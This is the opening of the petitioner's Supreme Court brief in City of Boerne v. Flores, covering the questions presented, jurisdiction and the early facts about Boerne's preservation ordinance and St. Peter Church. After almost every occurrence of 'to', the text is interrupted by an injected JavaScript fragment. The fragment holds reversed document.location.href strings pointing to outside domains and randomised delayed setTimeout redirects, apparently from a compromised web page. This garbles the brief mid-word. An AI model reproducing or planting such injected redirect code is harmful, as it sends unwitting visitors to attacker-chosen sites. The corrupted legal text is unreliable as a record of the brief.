CITY OF BOERNE v. FLORES, 1996 U.S. S. Ct. Briefs LEXIS 761(BRIEF FOR PETITIONER)

CITY OF BOERNE v. FLORES, 1996 U.S. S. Ct. Briefs LEXIS 761

No. 95-2074

Supreme Court of the United States

Ocdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober Term, 1996

November 29, 1996

Reporter: 1996 U.S. S. Ct. Briefs LEXIS 761

CITY OF BOERNE, TEXAS, Petitioner, versus P.F. FLORES, ARCHBISHOP OF SAN ANTONIO, Respondent, and UNITED STATES OF AMERICA, Intervenor-Respondent.

Type: Brief

Prior Hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory:  [1]

ON WRIT OF CERTIORARI TO THE UNITED STATES COURT OF APPEALS FOR THE FIFTH CIRCUIT

Counsel

Lowell F. Dendoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Esq., DENTON, McKAMIE & NAVARRO, 1700 Tower Life Building, 310 South St. Mary’s Street, San Andoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonio, Texas 78205, (210) 227-3243

Gordon L. Hollon, Esq., 101 N. Saunders, Boerne, Texas 78006, (210) 249-2521, Atdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torneys for Petitioner City of Boerne, Texas

Marci A. Hamildoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Esq., 482 Kings Road, Yardley, Pennsylvania 19067, (215) 493-1973 Counsel of Record

Title

BRIEF FOR PETITIONER

Text

QUESTIONS PRESENTED

1. Whether Congress violated the separation of powers doctrine by legislatively overruling a Supreme Court determination of the scope of the Free Exercise Clause of the First Amendment.

2. Whether Congress violated the constitutional balance between its power under Section 5 of the Fourteenth Amendment and fundamental principles of federalism by commandeering state and local governments doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be agents of a federal policy doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religious exercise more than the Constitution requires.

3. Whether Katzenbach v. Morgan, 384 U.S. 641 (1966), should be overruled in part.

4. Whether Congress violated the Establishment Clause of the First Amendment by broadly [2] and exclusively privileging religion over other expressions of conscience.

OPINIONS BELOW

Flores v. City of Boerne, 877 F. Supp. 355 (W.D. Tex. 1995), reprinted in Cert. Pet. App. 1 at 24a-29a; Flores v. City of Boerne, Texas, 73 F.3d 1352 (5th Cir. 1996), reprinted in Cert. Pet. App. at 1a-23a. Order Granting United States Leave doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Intervene, March 13, 1995, reprinted in Cert. Pet. App. at 32a; Petition for Leave doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Appeal an Interlocudoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Order, granted May 9, 1995, reprinted in Jt. App. at 74; Order Treating the Suggestion for Rehearing En Banc as a Petition for Panel Rehearing, denied March 28, 1996, reprinted in Cert. Pet. App. at 30a.

[9]

JURISDICTION

The Fifth Circuit decision was reached on January 23, 1996; the petition for rehearing en banc, which was treated by the Fifth Circuit as a petition for rehearing, was denied on March 28, 1996. This Court has jurisdiction under 28 U.S.C. § 1254(1) (1994).

CONSTITUTIONAL PROVISIONS AND STATUTES INVOLVED

Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, 42 U.S.C. § 2000bb1-4 (1993), reprinted in Cert. Pet. App. at 39a-42a; U.S. Constitution, Article III,§ 1, reprinted in Cert. Pet. App. at 35a; Amendment XIV, §§ 1, 5, reprinted in Cert. Pet. App. at 36a-38a; Amendment I, clauses 1, 2, reprinted in Cert. Pet. App. at 36a; Amendment X, reprinted in Cert. Pet. App. at 36a.

STATEMENT OF THE CASE

1. Facts. This case is about a request doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tear down a beautiful sdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone church, whose times and memories are graven indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the souls of a city. While the issue of the church’s precise hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical value is a matter that has been left doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trial, Jt. App. at 72, the City maintains that St. Peter Church, which was built in 1923, is a striking example of mission revival [10]  architecture self-consciously referring back doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the original Spanish missions in South Texas. As one arrives in the City of Boerne, Texas, this highly visible church set on a hill speaks directly of the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of this City and its people. Klein Affidavit, Jt. App. at 43. The people of the City seek doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve their community’s shared hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory as reflected in this familiar mission revival structure. Id.

With Ordinance 91-05, the City of Boerne enacted a hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation law intended doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to preserve and protect its rich hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory and culture. Recognizing that “rapid change in population, economic functions and land use activities” has threatened the distinctive hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical character of its community, the City Council of Boerne passed its hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmark preservation law for the following purposes:

(1) “To protect, enhance, and perpetuate selected hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmarks which represent or reflect distinctive and important elements of the city’s and State’s architectural, archeological, cultural, social, economic, ethnic and political hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory . . . .”

(2) “To safeguard the City’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric and cultural heritage . . . .”

(3) “To stabilize and improve property values in such locations.  [11]  ”

(4) “To foster civic pride in the beauty and accomplishments of the past.”

(5) “To protect and enhance the City’s attractions doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourists and visidoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors and provide incidental support and stimulus doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to business and industry.”

(6) “To strengthen the economy of the City.”

(7) “To promote the use of hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric landmarks for the culture, prosperity, education and general welfare of the people of the City and visidoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the City.”

Cert. Pet. App. at 46a-48a.

 

Boerne’s hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation law represents years of effort on the part of the City and evidences the citizens’ commitment doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to their community’s heritage. On May 20, 1985, the City Council duly enacted Ordinance No. 85-11, which authorized the creation of a Landmark Commission. Jt. App. at 66. The Landmark Commission was appointed on November 10, 1987, began doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore the creation of a hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric district on February 16, 1988, and held numerous meetings doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss the 